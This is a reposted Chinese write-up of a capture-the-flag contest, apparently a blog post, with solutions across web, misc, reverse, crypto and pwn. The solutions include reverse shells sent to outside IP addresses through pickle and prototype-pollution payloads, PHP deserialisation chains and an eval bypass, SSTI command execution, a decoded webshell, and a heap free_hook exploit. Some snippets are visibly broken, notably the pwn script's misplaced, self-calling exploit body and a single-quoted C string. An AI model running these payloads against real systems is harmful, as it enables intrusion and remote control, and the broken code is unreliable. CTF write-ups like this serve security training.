前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >贵阳大数据及网络安全精英对抗赛-解题赛 WP

贵阳大数据及网络安全精英对抗赛-解题赛 WP

作者头像
yulate
发布2023-05-09 10:35:04
1.1K0
发布2023-05-09 10:35:04
举报
file
file

WEB

仔细ping

代码语言:javascript
复制
ls
nl flag.php
file
file

pop

简单的链子,瞄一眼就能找到了。

payload

代码语言:javascript
复制
<?php
class TT
{
    public $key;
    public $c;
}

class JJ
{
    public $obj;
}

class MM
{
    public $name;
    public $c;
}

$m = new MM();
$m->name = "system";
$m->c = "cat /flag";

$j = new JJ();
$j->obj = $m;

$t = new TT();
$t->key = $j;

// 序列化JJ对象并输出结果
echo serialize($t);

// O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:9:"cat /flag";}}s:1:"c";N;}
file
file
file
file

Maybe

代码语言:javascript
复制
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $a))  {
    if (!preg_match("/sess|ion|head|ers|file|na|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i",$a)){
        eval($a);
    }else{
        die("May be you should bypass.");
    }
}else{
    die("nonono");
}
?>

无参数rce,直接就是复制过来就能用

PHP的无参数RCE - 先知社区 (aliyun.com)

代码语言:javascript
复制
http://39.107.115.3:41186/?a=eval(end(current(get_defined_vars())));&jiang=system(%22ls%22);

但是直接查看flag权限不足,需要进行提权

file
file
file
file

cp命令可以使用

file
file

将flag 写入/flag

代码语言:javascript
复制
/bin/cp --no-preserve=all /.ffffffIIIIIII44444444444gggg flag
file
file

JUST_LFI

通过/proc/self/cmdline读取项目位置再读取app.py

代码语言:javascript
复制
from bottle import route, run, template, request, response, error
from config.secret import key
import os
import re

@route("/")
def home():
    return template("index")

@route("/look")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.file
    if re.search("^../app", param):
        return "大咩大咩!!!"
    req_path = os.path.join(os.getcwd() + "/look", param)
    try:
        with open(req_path) as f:
            fi = f.read()
    except Exception as e:
        return "Wuhu"
    return fi

@error(404)
def error404(error):
    return template("error")

@route("/login")
def index():
    try:
        session = request.get_cookie("user", secret=key)
        if not session or session["user"] == "ggg":
            session = {"user": "ggg"}
            response.set_cookie("name", session, secret=key)
            return template("guest", name=session["user"])
        if session["user"] == "admin":
            return template("admin", name=session["user"])
    except:
        return "baDDDDDDDDDdddddddddddddddd"

if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

payload

伪造cookie并进行反序列化

代码语言:javascript
复制
import os

import requests
from bottle import response

key = "Th1sIIIIIIsAAAsecret"

class evil():
    def __reduce__(self):
        evil = "bash -c 'bash -i >& /dev/tcp/47.242.253.194/9999 0>&1'"
        return os.system, (evil,)

response.set_cookie("user", evil(), secret=key)
user = str(response.headerlist[1][1]).replace('user=', '')
cookie = {
    "user": user
}

resp = requests.get("http://47.93.56.17:42382/login", cookies=cookie).text
print(resp)
file
file

JUST_PROTO

代码语言:javascript
复制
const express = require('express');
const { exec } = require("child_process");
const app = express();
app.get('/', (req, res) => res.send('嗨嗨嗨!!老八来了!!!'));

let ba = {
    baba: (token)=>{ return !!token },
    bababa: ()=>{ if (JSON.stringify(date).length > 10000) date = {} }, 
    // set: `redis-cli -h ${ba.redis_host} set `
    // get: `redis-cli -h ${ba.redis_host} get `
};

let date = {};

app.get('/set', (req, res) => {
    ba.bababa(); 
    const {token, key, val} = req.query;
    if (!ba.baba(token) || !val) return res.send("wrong"); 
    date[token][key] = val; 
    res.json({ is_succ: true })
});

app.get('/get', (req, res) => {
    const {token, key} = req.query;
    if (!ba.baba(token)) return res.send("wrong");
    let result = date[token];
    if (result) result = result[key];
    res.json({ result: result === undefined ? "null" : result, is_succ: result !== undefined })
});

app.put('/bkup', (req, res) => {
    let date_stream = Buffer.from(JSON.stringify(date)); 
    const cmd = ba.redis_set + `date ${date_stream.toString('base64')}`;
    exec(cmd, (err,_,__) => {
        if (err) return res.json({ is_succ: false });
        res.json({ is_succ: true });
    });
});

app.listen(8080, () => console.log(`嗨嗨嗨!!老八来了!!!`));

//没敢吧所有变量名换成bababa 怕被打

原型链污染,其中的exec存在命令拼接

代码语言:javascript
复制
import requests

print(requests.get(
    "http://39.106.138.251:21019/set?token=__proto__&key=redis_set&val=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F47.242.169.210%2F9999%200%3E%261';").text)
requests.put(f"http://39.106.138.251:21019/bkup")
file
file

Hackerconfused

代码语言:javascript
复制
<?php
error_reporting(0);
$CanRead = false;
class SFile{
    public $name;
    public function __construct($name) {
        $this->name = $name;
    }
    public function __toString(){
        $num = count(scandir($this->name));
        if($num > 0){
            return 'Not null';
        } else {
            return 'Access the backdoor_******.php.* in [0-f]';
        }
    }
}
class Funny{
    public $name;
    public function __construct($name){
        if(strstr($name, 'backdoor')===false){
            $this->name = $name;
        }else{
            $this->name = 'nohint.txt';
        }
    }
    public function __toString(){
        return $this->name;
    }

    public function __destruct(){
        global $CanRead;
        if(strstr($name, 'backdoor')!==false){
            die('try again');
        }
        if($CanRead){
            echo(file_get_contents($this->name));
        }
    }
}
class Fun{
    public $secret = 'nohint.txt';
    public function __wakeup(){
        echo $this->secret;
    }

    public function __toString(){
        global $CanRead;
        $CanRead = true;
        return (new Funny($this->secret))->name;
    }
}

if(isset($_GET['p'])){
    unserialize(base64_decode($_GET['p']));
}else{
    show_source(__FILE__);
}

这题需要一步一步的解决

代码语言:javascript
复制
class SFile{
    public $name;
    public function __construct($name) {
        $this->name = $name;
    }
    public function __toString(){
        $num = count(scandir($this->name));
        if($num > 0){
            return 'Not null';
        } else {
            return 'Access the backdoor_******.php.* in [0-f]';
        }
    }
}

先要获取出文件名,这里需要进行爆破

代码语言:javascript
复制
$fun = new Fun();
$sf = new SFile();
$payload = "glob://backdoor_";
$str = "0123456789abcdef.php";

while (true) {
    for ($i = 0; $i <= strlen($str); $i++) {
        $p = $payload . $str[$i] . "*";
        $sf->name = $p;
        $fun->secret = $sf;
        $result = file_get_contents("http://39.106.154.197:29669/?p=" . base64_encode(serialize($fun)));
        if (strstr($result, "Not")) {
            echo $p . "\n";
            $payload .= $str[$i];
            break;
        }
    }
}
file
file

文件名为backdoor_a5f9d3.php,接下来就是读取文件

file
file

将其保存下来,发现被加密了

代码语言:javascript
复制
while (true) {
    $a = str_replace("?>", "", str_replace("<?php", "", str_replace("eval(", '$data = (', file_get_contents("a.php")) . 'file_put_contents("a.php",$data);'));
    eval($a);
}

运行脚本得到密钥

代码语言:javascript
复制
<?php
$erzo_f851f55b = [base64_decode('ZmxhZ3sjX2FiY2RlZn0='), base64_decode('ZmxhZ
3tiMHdfYjB3fQ=='), base64_decode('ZmxhZ3t0ZXRfZmxhZ30='), base64_decode('Zmxh
Z3s5OSF6elN3Y30='), base64_decode('ZmxhZ3tkZWJ1R19mdHd9'), base64_decode('Zmx
hZ3toZWxsX3llYWh9'), base64_decode('ZmxhZ3t0NHN0fQ==')];
//var_dump($erzo_f851f55b);
$igxc_9ce88802 = '';
$bbmg_1b267619 = 0;
foreach ($erzo_f851f55b as &$djkg_417c4fa3) {
    $igxc_9ce88802 = $djkg_417c4fa3[$bbmg_1b267619] . $igxc_9ce88802;
    $bbmg_1b267619++;
};
echo $igxc_9ce88802;
if (isset($_GET[$igxc_9ce88802])) {
    $grxe_fd6b6fc9 = $_GET[$igxc_9ce88802];
    $pgck_32cfe6c1 = base64_decode($grxe_fd6b6fc9);
    $jipp_8a561003 = substr($pgck_32cfe6c1, 5, -5);
    echo $jipp_8a561003;
    system($jipp_8a561003);
} else {
    echo base64_decode('NDA0');
};

连接webshell获取flag

file
file

notrce

代码语言:javascript
复制
c =cp /flag .

直接访问/flag即可,应该是被非预期了

完美网站

这网站打开一直重定向,使用request库指定allow_redirects=False或者使用httpx库都可以成功访问

file
file

访问成功爆破n可以读取文件,tupian.png中存在提示

file
file

读取该文件即可

file
file
代码语言:javascript
复制
import base64

import httpx

# import requests

flag = base64.b64encode(b"ffffpq.php").decode()
# flag = base64.b64encode(b"tupian.png").decode()
url = f"http://39.107.234.204:38325/?img={flag}&n="

# result = requests.get(url, allow_redirects=False)
# print(result.text)

r2 = httpx.get(url)
print(r2.text)

for i in range(0, 32):
    r3 = httpx.get(url + str(i))
    if "base64" in r3.text:
        b = r3.text.split("base64")[1].split("'")[0]
        print(b)
        print(base64.b64decode(b))

不太喜欢flask的开发

密码全靠猜,可以说是misc题了

登录密码tomcat/tomcat ,jwt的key也是tomcat

ssit {{config}}

提示flag在源码中,直接ssti打通拿flag即可

代码语言:javascript
复制
import requests

def getstr(s1):
    i1 = ""
    s5 = ""
    for i in s1:
        i1 += "i~"
        s5 += str(ord(i)) + ","
    i1 = i1.strip("~")
    s5 = s5.strip(",")
    s = f"(({i1})%({s5}))"
    return s

payload2 = """{% for i in ( ((g|lower|list|first|urlencode|first)~(g|lower|list|first|urlencode|last|lower)),) %}{% print ( """ + f"""lipsum|attr({getstr("__globals__")})|attr({getstr("__getitem__")})({getstr("os")})|attr({getstr("popen")})({getstr("cat ./app.py")})|attr({getstr("read")})()""" + """ ) %}{% endfor %}"""
url = "http://39.107.68.43:59493/search?flag=" + payload2
handler = {
    "Authorization": "Basic dG9tY2F0OnRvbWNhdA==",
}
cookie = {
    "access_token_cookie": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.MX2V32ixhq0AhoU6LAvI5hRtVXAqZsbqJsUAXlDSwiE"
}
result = requests.get(url, headers=handler, cookies=cookie)
print(result.text)

it's time

还是一道ssti题,payload的和上面差不多,只是环境中没有os模块罢了

代码语言:javascript
复制
import html

import requests

def getstr(s1):
    i1 = ""
    s5 = ""
    for i in s1:
        i1 += "i~"
        s5 += str(ord(i)) + ","
    i1 = i1.strip("~")
    s5 = s5.strip(",")
    s = f"(({i1})%({s5}))"
    return s

url = "http://39.107.127.105:24362/?miniID="
payload = """{% for i in ( ((g|lower|list|first|urlencode|first)~(g|lower|list|first|urlencode|last|lower)),) %}{% print ( """ + f"""()|attr({getstr("__class__")})|attr({getstr("__bases__")})|attr({getstr("__getitem__")})(0)|attr({getstr("__subclasses__")})()|attr({getstr("__getitem__")})(117)|attr({getstr("__init__")})|attr({getstr("__globals__")})|attr({getstr("__getitem__")})({getstr("popen")})({getstr("cat /f1ag_g4lfcdecddefewfebge")})|attr({getstr("read")})()""" + """ ) %}{% endfor %}"""
result = requests.get(url + payload)

print(html.unescape(result.text))
file
file

Misc

图片的秘密

word文档解压中得到密码

file
file

再将work文档中的图片使用如下网址进行解密

在线图片添加/解密隐藏信息(隐写术)工具 - 站长辅助工具 - 脚本之家在线工具 (jb51.net)

file
file

得到flag

easymisc

找到gif按帧读取出二维码扫描下载文件,再game.tar中找到一个gif

file
file

按帧查看得到二维码

file
file

拼接图片获得flag

file
file

cb0x-new

这道题挺有意思的,nc连接上会给出如下提示,他会将输入的base c代码写入/tmp/main.c如何再编译运行

代码语言:javascript
复制
Welcome to the Cb0x challenge
The six step of this challenge
1. You can input your source code of main.c(base64ed),And will copy /home/ctf/main.c to /tmp/main.c
2. Your input is decoded by base64 and append in /tmp/main.c
3. main.c will be complied and run,command are as followed
4. compiled command ==> gcc main.c -w -o main
5. run command ==> subprocess.run(['./main'], stdout=sys.stdout, stderr=subprocess.DEVNULL)
6. The main.c source code are as followed:

我们写个preload方法获取shell即可

代码语言:javascript
复制
__attribute__ ((__constructor__)) void preload (void)
{
    system('/bin/bash');
}

base64之后将其输入nc即可,flag再真实的main.c中

file
file

Reverse

rust

二分手猜的

代码语言:javascript
复制
from pwn import *

context(arch = "arm64", log_level = "debug")

maxnum = 2**32
minnum = 0

sh = process('./untitled1')
sh.recvuntil('guess.')

while 1:
    mid = (maxnum + minnum)//2
    sh.sendline(str(mid).encode())
    con = sh.recvuntil(b'!')
    success(con)
    if b'small' in con:
        minnum = mid
    elif b'big' in con:
        maxnum = mid
    else:
        sh.interactive()

执行payload即可

Crypto

eezzrrssaa

这道题使用了一个伪随机数生成器 (PRNG) 来生成素数,然后构造 RSA 公钥进行加密。想要获得 flag,你需要知道私钥,即两个大素数 p 和 q 的乘积 n,并且使用这个私钥来解密密文

们可以使用 RSA 的分解攻击来找到 p 和 q。该攻击利用了两个大素数之积 n 可以被分解为它们的乘积的事实。

通常这个攻击需要对 n 进行分解运算,但是在给定的参数下,n 已经被分解成了两个因子 ps[-1] 和 ps[-2] 的乘积。

现在我们已经获得了 p 和 q,我们可以使用它们来解密密文 c。RSA 解密的公式为:

m = pow(c, d, n)

其中 d 是私钥的指数,满足 e d ≡ 1 mod φ(n),φ(n) 是欧拉函数,等于 (p-1) (q-1)。

为了计算 d,我们可以使用扩展欧几里得算法来求解 e 和 φ(n) 的模逆元素。

代码语言:javascript
复制
from Crypto.Util.number import *

class PRNG:
    def __init__(self, a, x, b):
        self.a = a
        self.x = x
        self.b = b

    def next(self):
        ret = self.x
        self.x = (self.a * self.x + self.b) % q
        return ret

def get_prime(prng1, prng2, q):
    while 1:
        tmp = prng2.next() * q + prng1.next()
        if isPrime(tmp):
            return tmp

q = 863666614243448299685073534539782091614466038667659466359664255833879357401208752356758391473753149783695523347
ps = [
    488430779430824599064935338391249442829022539899115535143196485163487049206340136142789020350176476554441378462595965038290365842362034176672340569719593003574222248527447206361459719954322885881075726676950555671635007363,
    707157149197462658139117084378634522562212403870035237598970809858394732217372944239689355077884840011520921058759306333833289658731807522052892377679354636501446734633867023331470805974187027036109531714774435994689042891,
    476172773176400166870512700278283739900716339392176146031791100542596627419155254113738721222559386964568077259931246639803960023216418997484355347182274626554844693011339867671881591249587444088969603398209425951467440211,
    479577456885290037281759580853233626951314430312455485422558946021203602708559915552877926123425413442096439066002524196474514162220000152373758925097140843218665566655451970747063255562540421337155353658793225970423042099]
n = 98507292107212647629392277192521724876575060525397166586602724341772322834661685719879043139101436908036967520130509456130010632959287915661915441539615555345261656834100254232656609022587219863738542204349757544278313022268849986380405350778976502504598388632375506019980481343421510001650112826277323670706717869878490374078543128198589764240329950804782453481144228576858436696625100959717702337809834581369797601972108713612318371100605389
c = 57773774305129316009141892175661507569534831447382854914588401185097291538023184369651537398951570363918970263297625149448254614479110835192103043721312687685309489008584881189077640538284919592229456061921760452134520765924458040140450750863491592935761079322474155890093610865852109521471075002695928101302724254321097314555582345987979625286958861654447780330651520542323214097640450289283886871665487690407096815701340627706657525543320274

prime1_factors = []  # 存储n的前一半因子
prime2_factors = []  # 存储n的后一半因子
a = 202320232023
b = 320232023202
num1 = -721474313686950040760456718395855289332361081440581115357964297160374075412604063880198191814907640385556239775 % q
num2 = -42522514490869169124681320640539356074221591805568832332992800925663834398026485545017374651679305179842368739 % q

for i in ps:
    prime1_factors.append(i % q)
    prime2_factors.append(i // q)

prng1 = PRNG(a, prime1_factors[3], b)
prng2 = PRNG(num1, prime2_factors[3], num2)

# 分解因子
primes = [get_prime(prng1, prng2, q) for _ in range(4)]
prime1 = primes[-1]  # 最大的质因数
prime2 = primes[-2]  # 次大的质因数
assert prime1 * prime2 == n

e = 0x10001

# 扩展欧几里得算法求解 d
phi = (prime1 - 1) * (prime2 - 1)
d = inverse(e, phi)

print(long_to_bytes(pow(c, d, n)))

Pwn

easynote

在审题时发现了一个UAF漏洞,因为free后没有清零导致chunk的地址被写入到bss段落中。

file
file
file
file

我们可以直接破坏索引,每次保存当前的chunk地址

  1. 改变top chunk的大小
  2. 构造Unsorted Bin
  3. 泄露libc的地址
  4. 往free hook中写入system地址
  5. 释放一个包含'sh'字符串的chunk: free(chunk) -> free_hook(sh_addr) -> system('sh')
代码语言:javascript
复制
from pwn import *

content = 0
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux', 'splitw', '-h'])

libc = ELF('./libc.so.6')

def main():
    global p
    if content == 1:
        p = process('./pwn1')
    else:
        p = remote('39.107.76.202', 44561)

def Add(size, data):
    p.sendlineafter("choice: ", "1")
    p.sendlineafter("size: ", str(size))
    p.sendafter("data: ", data)

    Add(0x400, "a")
    Add(0x410, b"a" * 0x400 + p64(0) + p64(0x961))
    Delete()

    Add(0x1000, "a")
    Delete()

    Add(0x60, "a")
    Leak()
    p.recvuntil("Note: ")

    libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x1ed161
    system = libc_base + libc.sym['system']
    free_hook = libc_base + 0x1eee48

    Delete()
    Change(p64(free_hook) + p64(0))
    Delete()
    Change(p64(free_hook))
    Leak()

    Add(0x60, "a")
    Leak()

    Add(0x60, p64(system))
    Leak()

    Add(0x60, "sh\x00")
    Delete()

# UAF漏洞
def Delete():
    p.sendlineafter("choice: ", "2")

def Leak():
    p.sendlineafter("choice: ", "3")

def Change(data):
    p.sendlineafter("choice: ", "4")
    p.sendafter("NewData: ", data)

浏览量: 1

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-5-05 2,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • WEB
    • 仔细ping
      • pop
        • Maybe
          • JUST_LFI
            • JUST_PROTO
              • Hackerconfused
                • notrce
                  • 完美网站
                    • 不太喜欢flask的开发
                      • it's time
                      • Misc
                        • 图片的秘密
                          • easymisc
                            • cb0x-new
                            • Reverse
                              • rust
                              • Crypto
                                • eezzrrssaa
                                • Pwn
                                  • easynote
                                  相关产品与服务
                                  大数据
                                  全栈大数据产品,面向海量数据场景,帮助您 “智理无数,心中有数”!
                                  领券
                                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档